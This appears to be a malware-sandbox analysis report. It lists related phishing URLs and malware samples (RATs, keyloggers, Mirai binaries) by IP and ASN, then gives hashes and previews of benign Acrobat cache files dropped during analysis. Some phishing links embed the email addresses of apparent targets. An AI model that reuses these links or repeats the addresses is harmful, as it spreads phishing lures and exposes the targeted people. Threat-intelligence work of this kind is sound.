	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fmessagupdates.courtfilepro.com%2FVTtMa	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://1143b54.wcomhost.com/	Get hash	malicious	Unknown	Browse	104.18.11.207
	http://thirsty-austin-db0c42.netlify.app/	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://docusign.legalcloudfiles.com/S06ga?e=clopez@autopistacentral.cl	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	phish_alert_sp2_2.0.0.0 (2).eml	Get hash	malicious	Unknown	Browse	104.18.10.207
	Scan.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://docusign.legalcloudfiles.com/S06ga?e=kelly.wright@sanctuary-housing.co.uk	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	http://organismekina8at-my.sharepoint.com/:f:/g/personal/mariejoelle_tremblay_kina8at_ca/ErWnJRn_SWBKkEcx4yGorhMBtA4m6tEq5cYuHnwwp_z1Sw	Get hash	malicious	Unknown	Browse	104.18.11.207
2043758164.cloudhostbuilder.com	https://docusign.legalcloudfiles.com/S06ga?e=clopez@autopistacentral.cl	Get hash	malicious	HTMLPhisher	Browse	162.241.149.91
	https://docusign.legalcloudfiles.com/S06ga?e=kelly.wright@sanctuary-housing.co.uk	Get hash	malicious	HTMLPhisher	Browse	162.241.149.91
	Cardfactory Executed Agreement DocsID- Sign & Review..eml	Get hash	malicious	HTMLPhisher	Browse	162.241.149.91

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://www.affordablehousing.com/MaineCWL	Get hash	malicious	Unknown	Browse	104.17.31.174
	Message.eml	Get hash	malicious	HTMLPhisher	Browse	162.159.128.61
	https://apple.com@jtkink.com/dff/ffd/qDy3TYxPfBVOljqb6egyT/YWRyaWFubWFyc2hAbmhzLm5ldA==	Get hash	malicious	HTMLPhisher	Browse	172.67.186.98
	RFQ_AS0101402025.22025_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	http://www.adidas-samba.es	Get hash	malicious	Unknown	Browse	104.21.16.1
	lumma_phothockey.exe	Get hash	malicious	LummaC	Browse	104.21.67.165
	https://microsoft-visio.en.softonic.com/	Get hash	malicious	Unknown	Browse	172.67.74.232
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	EspPrivStoreAtt116.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	SPOOOFER776.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
LILLY-ASUS	meth10.elf	Get hash	malicious	Mirai	Browse	43.194.182.201
	arm4.elf	Get hash	malicious	Unknown	Browse	40.50.104.208
	ppc.elf	Get hash	malicious	Unknown	Browse	40.204.188.253
	m68k.elf	Get hash	malicious	Unknown	Browse	40.24.80.155
	i686.elf	Get hash	malicious	Unknown	Browse	40.237.228.164
	arm5.elf	Get hash	malicious	Unknown	Browse	43.153.179.66
	x86_64.elf	Get hash	malicious	Unknown	Browse	43.51.167.120
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm	Get hash	malicious	HTMLPhisher	Browse	43.153.232.152
	i486.elf	Get hash	malicious	Unknown	Browse	40.165.193.35
	meth14.elf	Get hash	malicious	Mirai	Browse	40.222.150.149
CLOUDFLARENETUS	http://www.affordablehousing.com/MaineCWL	Get hash	malicious	Unknown	Browse	104.17.31.174
	Message.eml	Get hash	malicious	HTMLPhisher	Browse	162.159.128.61
	https://apple.com@jtkink.com/dff/ffd/qDy3TYxPfBVOljqb6egyT/YWRyaWFubWFyc2hAbmhzLm5ldA==	Get hash	malicious	HTMLPhisher	Browse	172.67.186.98
	RFQ_AS0101402025.22025_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	http://www.adidas-samba.es	Get hash	malicious	Unknown	Browse	104.21.16.1
	lumma_phothockey.exe	Get hash	malicious	LummaC	Browse	104.21.67.165
	https://microsoft-visio.en.softonic.com/	Get hash	malicious	Unknown	Browse	172.67.74.232
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	EspPrivStoreAtt116.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	SPOOOFER776.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
CLOUDFLARENETUS	http://www.affordablehousing.com/MaineCWL	Get hash	malicious	Unknown	Browse	104.17.31.174
	Message.eml	Get hash	malicious	HTMLPhisher	Browse	162.159.128.61
	https://apple.com@jtkink.com/dff/ffd/qDy3TYxPfBVOljqb6egyT/YWRyaWFubWFyc2hAbmhzLm5ldA==	Get hash	malicious	HTMLPhisher	Browse	172.67.186.98
	RFQ_AS0101402025.22025_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	http://www.adidas-samba.es	Get hash	malicious	Unknown	Browse	104.21.16.1
	lumma_phothockey.exe	Get hash	malicious	LummaC	Browse	104.21.67.165
	https://microsoft-visio.en.softonic.com/	Get hash	malicious	Unknown	Browse	172.67.74.232
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	EspPrivStoreAtt116.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	SPOOOFER776.exe	Get hash	malicious	Unknown	Browse	104.26.0.5

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.185904777933577
Encrypted:	false
SSDEEP:	6:iO86fbUdCOq2Pwkn2nKuAl9OmbnIFUtW6f1vhZmwo6f1v7kwOwkn2nKuAl9Ombjd:77U8OvYfHAahFUtLh/h75JfHAaSJ
MD5:	97F9A0EDBF9CE0883D88DD4F2CE706D8
SHA1:	DF5CF6507883CD8917CF8747A8A3CD83E16AD90A
SHA-256:	653291BD3AB6D201BC55B8AC7BFBD064995AE13195D8CBAA984301C3050E661A
SHA-512:	0DAD50E94469871916DBEC429C144B4AC0D0C731D55BD1C3D1476EB9E7C87BB955A9F677CFB877D1C1E6A56E4A8F30B7DB88009D00F9B4525B8924D6CB444185
Malicious:	false
Reputation:	low
Preview:	2025/01/14-11:22:55.147 18c0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-11:22:55.149 18c0 Recovering log #3.2025/01/14-11:22:55.149 18c0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.185904777933577
Encrypted:	false
SSDEEP:	6:iO86fbUdCOq2Pwkn2nKuAl9OmbnIFUtW6f1vhZmwo6f1v7kwOwkn2nKuAl9Ombjd:77U8OvYfHAahFUtLh/h75JfHAaSJ
MD5:	97F9A0EDBF9CE0883D88DD4F2CE706D8
SHA1:	DF5CF6507883CD8917CF8747A8A3CD83E16AD90A
SHA-256:	653291BD3AB6D201BC55B8AC7BFBD064995AE13195D8CBAA984301C3050E661A
SHA-512:	0DAD50E94469871916DBEC429C144B4AC0D0C731D55BD1C3D1476EB9E7C87BB955A9F677CFB877D1C1E6A56E4A8F30B7DB88009D00F9B4525B8924D6CB444185
Malicious:	false
Reputation:	low
Preview:	2025/01/14-11:22:55.147 18c0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-11:22:55.149 18c0 Recovering log #3.2025/01/14-11:22:55.149 18c0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.126854783588007
Encrypted:	false
SSDEEP:	6:iO86fYS9+q2Pwkn2nKuAl9Ombzo2jMGIFUtW6fNJgNJZmwo6f/9VkwOwkn2nKuAv:799+vYfHAa8uFUtXJSJ/b9V5JfHAa8RJ
MD5:	306B9E65FFFE481A9B59E79529ABF466
SHA1:	0F4AE230DDD186DB352902CB25CEB3B2FA62D68E
SHA-256:	FC4EAD6A9ED22C2C24C9E4B6BEBFA62F9FB0F9FC27946B2567B96DCC6883D46A
SHA-512:	7101F63EF3414B9DC1733DF2BDB469BF1135C4BABB720C1B24774A882498BEB5B20D6628770C65E394104B3BF6630FEB3328B9012C6B8C5B1C1418384E26FBAE
Malicious:	false
Reputation:	low
Preview:	2025/01/14-11:22:55.209 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-11:22:55.213 1c4c Recovering log #3.2025/01/14-11:22:55.214 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.126854783588007
Encrypted:	false
SSDEEP:	6:iO86fYS9+q2Pwkn2nKuAl9Ombzo2jMGIFUtW6fNJgNJZmwo6f/9VkwOwkn2nKuAv:799+vYfHAa8uFUtXJSJ/b9V5JfHAa8RJ
MD5:	306B9E65FFFE481A9B59E79529ABF466
SHA1:	0F4AE230DDD186DB352902CB25CEB3B2FA62D68E
SHA-256:	FC4EAD6A9ED22C2C24C9E4B6BEBFA62F9FB0F9FC27946B2567B96DCC6883D46A
SHA-512:	7101F63EF3414B9DC1733DF2BDB469BF1135C4BABB720C1B24774A882498BEB5B20D6628770C65E394104B3BF6630FEB3328B9012C6B8C5B1C1418384E26FBAE
Malicious:	false
Reputation:	low
Preview:	2025/01/14-11:22:55.209 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-11:22:55.213 1c4c Recovering log #3.2025/01/14-11:22:55.214 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\539b14df-9386-4c3c-89a6-63387f597ce3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	546
Entropy (8bit):	4.952084020343741
Encrypted:	false
SSDEEP:	12:YHgLdvZaXoqBWsB6um3RA8sqv2sBd2caq3QH7E4T3y:YALtUtB7JsRdsqdJ3QH7nby
MD5:	450A39248C22A4D827893514BAB298D8
SHA1:	6E6A9DCA02688404C55BADF80C47FB3991EB754B
SHA-256:	5F6A667DBF1BB763D7F1CD4B8B340C1D778553E758099ECD1E45C53F0256EC3C
SHA-512:	0CE9E2150977B40FDFDF547B185D1DDE0C02F57E1648ABBA5DA58C970352F27F91CF53BC679382D3CC9779344583D93E9DBD33B00A5302F9017952CB0FC780E7
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"broken_alternative_services":[{"broken_count":1,"broken_until":"1736872085","host":"chrome.cloudflare-dns.com","isolation":[],"port":443,"protocol_str":"quic"}],"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381431787795243","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	546
Entropy (8bit):	4.952084020343741
Encrypted:	false
SSDEEP:	12:YHgLdvZaXoqBWsB6um3RA8sqv2sBd2caq3QH7E4T3y:YALtUtB7JsRdsqdJ3QH7nby
MD5:	450A39248C22A4D827893514BAB298D8
SHA1:	6E6A9DCA02688404C55BADF80C47FB3991EB754B
SHA-256:	5F6A667DBF1BB763D7F1CD4B8B340C1D778553E758099ECD1E45C53F0256EC3C
SHA-512:	0CE9E2150977B40FDFDF547B185D1DDE0C02F57E1648ABBA5DA58C970352F27F91CF53BC679382D3CC9779344583D93E9DBD33B00A5302F9017952CB0FC780E7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"broken_alternative_services":[{"broken_count":1,"broken_until":"1736872085","host":"chrome.cloudflare-dns.com","isolation":[],"port":443,"protocol_str":"quic"}],"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381431787795243","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4730
Entropy (8bit):	5.253309308138142
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7mJbsbTlJkZ:etJCV4FiN/jTN/2r8Mta02fEhgO73gog
MD5:	D2D07592CB508B6F411A4D486217D3DE
SHA1:	2C05A61CBA85947A23B6C171640A383C66078036
SHA-256:	457D6947408038F2BED2BBDBDBFD52003BD97908000F65C572DCAC68F191E671
SHA-512:	42D6738838DE7E05AA24BF24C4B92F06015DFCEE390C9BA63B3C32F1FEEFB907447C1E822A59D85406260B4D34D6A4C27743BAFCABC0281E681119BC7D825CA5
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.122072683104964
Encrypted:	false
SSDEEP:	6:iO86f5s9+q2Pwkn2nKuAl9OmbzNMxIFUtW6fTJZmwo6fT9VkwOwkn2nKuAl9Ombg:7Zs9+vYfHAa8jFUtxJ/H9V5JfHAa84J
MD5:	170DCA343599D29BF0D1B4608F1F2D1B
SHA1:	293B05C34F36FBEF3F37DE7DA36470C9487E07DB
SHA-256:	D5515E55E49E7FD5AF9374BF492272B9F61E3F5EE4EE14E9D3BCDA56ADE4B43B
SHA-512:	18BB28E68FC7964DAB8D0EA3FA51C07633AE373043EDDA6637D244846BC71F74BC6F1EFBE679B4A3F98002FF4C4344D6CCB8F1CA9A8BE7CB295293572791DAFC
Malicious:	false
Preview:	2025/01/14-11:22:55.253 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-11:22:55.254 1c4c Recovering log #3.2025/01/14-11:22:55.254 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.122072683104964
Encrypted:	false
SSDEEP:	6:iO86f5s9+q2Pwkn2nKuAl9OmbzNMxIFUtW6fTJZmwo6fT9VkwOwkn2nKuAl9Ombg:7Zs9+vYfHAa8jFUtxJ/H9V5JfHAa84J
MD5:	170DCA343599D29BF0D1B4608F1F2D1B
SHA1:	293B05C34F36FBEF3F37DE7DA36470C9487E07DB
SHA-256:	D5515E55E49E7FD5AF9374BF492272B9F61E3F5EE4EE14E9D3BCDA56ADE4B43B
SHA-512:	18BB28E68FC7964DAB8D0EA3FA51C07633AE373043EDDA6637D244846BC71F74BC6F1EFBE679B4A3F98002FF4C4344D6CCB8F1CA9A8BE7CB295293572791DAFC
Malicious:	false
Preview:	2025/01/14-11:22:55.253 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-11:22:55.254 1c4c Recovering log #3.2025/01/14-11:22:55.254 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250114162301Z-223.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	2.1839394154942866
Encrypted:	false
SSDEEP:	192:OTTT7f7f77777a7p7B7O7o7+u7/7Z7+767V7V7V7V7V7T/x7HWa7L7V7V7V7p7KP:oM/4rcQ5Fu+Df
MD5:	89AFA0643E64207244F56DC309E25687
SHA1:	7C1BF4FF0B1DD49D68E8F610A40F2AD06AF0D2ED
SHA-256:	099A91687EC9E426CCB5B909D3171CAE3B8D4B53C1D423FC44F2FC446C611889
SHA-512:	EE14BEBDE376566E3163552D42CB37A21AAE7A1D5020274C1CF85E8F704DBAFB90B83BBE839340AC4C2753C1B8547E656DA5566D2753A9A564E5A84D68C45915
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444822466569821
Encrypted:	false
SSDEEP:	384:yezci5tkiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rTs3OazzU89UTTgUL
MD5:	1F1E5A255CB8BCEE2483492620B2BA7B
SHA1:	36F30FD7EEF44E942D7DCB22320699668BE701D0
SHA-256:	1DE9ECA5D0F1866BA94C0059FDF44B162761E23FE7F68862F535C0B6CB73CEB7
SHA-512:	A5A3CA32E06F3307625245C1314883608805F26F0AAA2266EB35D000322585649A54A93039D867110D6B84A9BE505DC9E191FB64E509F6376C85BA9900DAE5FD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.774997785660886
Encrypted:	false
SSDEEP:	48:7MOup/E2ioyVoVioy9oWoy1Cwoy1peKOioy1noy1AYoy1Wioy1hioybioyz6oy1U:7spjuoVF6mXKQsYQWb9IVXEBodRBkG
MD5:	CCEFE805AE961E267DBB47CA17CA5CE8
SHA1:	6FC63B497963BFB2AFBE3725210A7D75BBCDF9C1
SHA-256:	604EFAE288D49AE62A9D2408748178972A1A29A051B2B5A276302230DE3933D4
SHA-512:	4D297EC5E04204582FC181382193C8B1084381C75865A579752F54FD290F7103FB6060AE1AA5615C01D809BF895FF3EA92D2D10E8B20D5E22006406D4507B443
Malicious:	false
Preview:	.... .c.......{...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	243196
Entropy (8bit):	3.3450692389394283
Encrypted:	false
SSDEEP:	1536:vKPCPiyzDtrh1cK3XEivK7VK/3AYvYwgqErRo+RQn:yPClJ/3AYvYwghFo+RQn
MD5:	F5567C4FF4AB049B696D3BE0DD72A793
SHA1:	EBEADDE9FF0AF2C201A5F7CC747C9EA61CFA6916
SHA-256:	D8DBFE71873929825A420F73821F3FF0254D51984FAAA82E1B89D31188F77C04
SHA-512:	E769735991E5B1331E259608854D00CDA4F3E92285FDC500158CBD09CBCCEAD8A387F78256A43919B13EBE70C995D19242377C315B0CCBBD4F813251608C1D56
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK 